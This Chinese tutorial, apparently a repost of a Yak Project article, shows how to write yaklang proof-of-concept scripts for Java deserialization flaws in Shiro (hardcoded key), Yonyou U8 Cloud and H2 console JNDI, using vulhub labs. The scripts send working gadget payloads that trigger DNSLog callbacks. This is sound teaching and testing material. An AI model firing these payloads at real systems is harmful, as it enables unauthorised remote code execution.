高效开发:Java 反序列化漏洞 POC

admin 2023年11月23日22:04:37评论43 views字数 4470阅读14分54秒阅读模式

高效开发:Java 反序列化漏洞 POC

本文作者Z3r0ne,预计阅读时间12分钟

高效开发:Java 反序列化漏洞 POC


近期收到一些反馈,部分刚入门yaklang的师傅还比较迷茫。本篇将面向yaklang入门给大家介绍:如何使用yaklang针对Java类型漏洞编写POC。


一些案例与实践


下面是一些案例,靶场用的vulhub,有兴趣的师傅们可以手动复现下。

高效开发:Java 反序列化漏洞 POC


Shiro漏洞

高效开发:Java 反序列化漏洞 POC

高效开发:Java 反序列化漏洞 POC

原理

由于shiro使用cookie的RemberMe字段传输序列化的java对象,虽然有加密措施,但在最原始的版本加密的key硬编码在源码中。只要使用正确的key构造恶意的序列化java对象就可以实现RCE。

高效开发:Java 反序列化漏洞 POC

实践

镜像:CVE-2016-4437

站点首页

高效开发:Java 反序列化漏洞 POC

先使用shiro插件扫描下key

高效开发:Java 反序列化漏洞 POC

可以看到key和利用链

高效开发:Java 反序列化漏洞 POC

打开Yso-Java Hack模块,选择CB192NoCC链和DNSLog恶意类,点击生成。在右侧源码部分可以看到自动生成的 "用于生成payload的yak代码",注释部分包含了对shiro payload加密的代码,右上角直接发送到Yak Runner。

对代码稍加修改就得到了POC:

target = cli.String("u")log.info("检测目标: %s ", target)domain,token = risk.NewDNSLogDomain()~className = randstr(4)log.setLevel("info")// 生成payloadgadgetObj,err = yso.GetCommonsBeanutils192NOCCJavaObject(yso.useDNSLogEvilClass(domain),yso.obfuscationClassConstantPool(),yso.evilClassName(className))if err {    log.error("%v",err)    return}gadgetBytes,err = yso.ToBytes(gadgetObj)if err {    log.error("%v",err)    return}// 加密payloadbase64Key = "kPH+bIxk5D2deZiIxcaaaA==" // base64编码的keykey,_ = codec.DecodeBase64(base64Key) // 生成keypayload = codec.PKCS5Padding(gadgetBytes, 16) // 加密payloadencodePayload = codec.AESCBCEncrypt(key, payload, nil)[0]finalPayload = codec.EncodeBase64(append(key, encodePayload...))// 发送payloadrsp,err = http.Get(target, http.cookie("rememberMe=%s"%finalPayload))if err != nil{    log.error("发送payload失败")    return}log.info("发送Payload成功")// dnslog回显检测res,err = risk.CheckDNSLogByToken(token)if len(res) > 0{    log.info("目标 %s 存在Shiro RCE漏洞",target)}else{    log.info("目标不存在RCE漏洞")}

在命令行直接调用脚本检测

高效开发:Java 反序列化漏洞 POC


用友U8 Cloud

高效开发:Java 反序列化漏洞 POC

高效开发:Java 反序列化漏洞 POC

原理

用友的一些参数直接用序列化对象传递,导致了反序列化漏洞。

高效开发:Java 反序列化漏洞 POC

实践

网站首页,本次测试利用:/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet路径反序列化漏洞,通过dnslog反连验证。

高效开发:Java 反序列化漏洞 POC

首先在yakit内置dnslog服务申请一个域名,再打开webfuzzer,使用yso:dnslog标签配合dnslog域名爆破可用链,如图,右侧可以看到payload为:CommonsCollections3 dnslog evil class xxx.dgrh3.cn,在yakit右上角的 "漏洞与风险" 收到了反连提醒,说明目标成功加载了class

高效开发:Java 反序列化漏洞 POC

下面开始编写payload,打开Yso-Java Hack页面,利用链选择cc3,恶意类选择DNSLog

高效开发:Java 反序列化漏洞 POC

在yakrunner里稍加修改

target = cli.String("u")domain,token = risk.NewDNSLogDomain()~className = randstr(8)log.setLevel("info")gadgetObj,err = yso.GetCommonsCollections3JavaObject(yso.useDNSLogEvilClass(domain),yso.obfuscationClassConstantPool(),yso.evilClassName(className))if err {    log.error("%v",err)    return}gadgetBytes,err = yso.ToBytes(gadgetObj)if err {    log.error("%v",err)    return}log.info("开始发送payload")rsp = http.Post(target+"/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet", http.body(gadgetBytes),http.proxy("http://127.0.0.1:8083"))~res,err = risk.CheckDNSLogByToken(token, 3)if len(res) != 0{    log.info("目标 %s 存在反序列化漏洞",target)}else{    log.info("目标不存在反序列化漏洞")}


高效开发:Java 反序列化漏洞 POC


H2 Database

高效开发:Java 反序列化漏洞 POC

高效开发:Java 反序列化漏洞 POC

原理

不正当的配置h2database导致攻击者可以访问h2-console页面,可以指定jdni url发起连接

高效开发:Java 反序列化漏洞 POC

实践

可以使用yakit的 "反连服务器" 实现jndi利用

高效开发:Java 反序列化漏洞 POC

先生成一个dnslog,再配置payload

高效开发:Java 反序列化漏洞 POC

打开/h2-console/test.do页面,配置Driver Class,和jdbc url,点击测试连接

高效开发:Java 反序列化漏洞 POC

在yakit中可以看到请求记录如图。

高效开发:Java 反序列化漏洞 POC

同样的可以在yak中编写代码启动 "反连服务器"

go fn{    className = randstr(8)    facades.Serve("0.0.0.0", 8089,        facades.ldapResourceAddr(className, "127.0.0.1:8089"), // 通过ldap://facades_server_address/class_name 访问会响应从"127.0.0.1:8089"读取class的结构        facades.httpResource(className, evalClassResource), // 通过http://facades_server_address/class_name 访问会响应 evalClassResource    )}

使用Yso-Java Hack自动生成 "生成evalClassResource的代码",并补充发包部分代码,最后得到

target = cli.String("u")domain,token = risk.NewDNSLogDomain()~go fn{    className = randstr(8)    classObj,err = yso.GenerateDNSlogEvilClassObject(domain,yso.obfuscationClassConstantPool(),yso.evilClassName(className))    if err {        log.error("%v",err)        return    }    evalClassResource,err = yso.ToBytes(classObj)    if err {        log.error("%v",err)        return    }    facades.Serve("0.0.0.0", 8089,        facades.ldapResourceAddr(className, "127.0.0.1:8089"), // 通过ldap://facades_server_address/class_name 访问会响应 从"127.0.0.1:8089"读取class的结构        facades.httpResource(className, evalClassResource), // 通过http://facades_server_address/class_name 访问会响应 evalClassResource    )}
poc.HTTP(`POST /h2-console/test.do?jsessionid=ab50d353801ba9bf68a94edfd66413b4 HTTP/1.1Host: {{p(target)}Content-Type: application/x-www-form-urlencoded
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url={{p(addr)}}&user=sa&password=`, poc.params({ "target":target, "addr":"127.0.0.1:8089",}))res,err = risk.CheckDNSLogByToken(token, 3)if len(res) != 0{ log.info("目标 %s 存在反序列化漏洞",target)}else{ log.info("目标 %s 存在反序列化漏洞",target) // log.info("目标不存在反序列化漏洞")}


小结

高效开发:Java 反序列化漏洞 POC

yaklang的java基础设施基本可以满足编写POC、EXP的需求,可以使用yakit的反连、Yso-Java Hack辅助脚本编写,可以提升效率。


END




  YAK官方资源 


Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ

高效开发:Java 反序列化漏洞 POC
长按识别添加工作人员
开启Yakit进阶之旅

高效开发:Java 反序列化漏洞 POC

原文始发于微信公众号(Yak Project):高效开发:Java 反序列化漏洞 POC

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月23日22:04:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   高效开发:Java 反序列化漏洞 POChttp://cn-sec.com/archives/2233038.html

发表评论

匿名网友 填写信息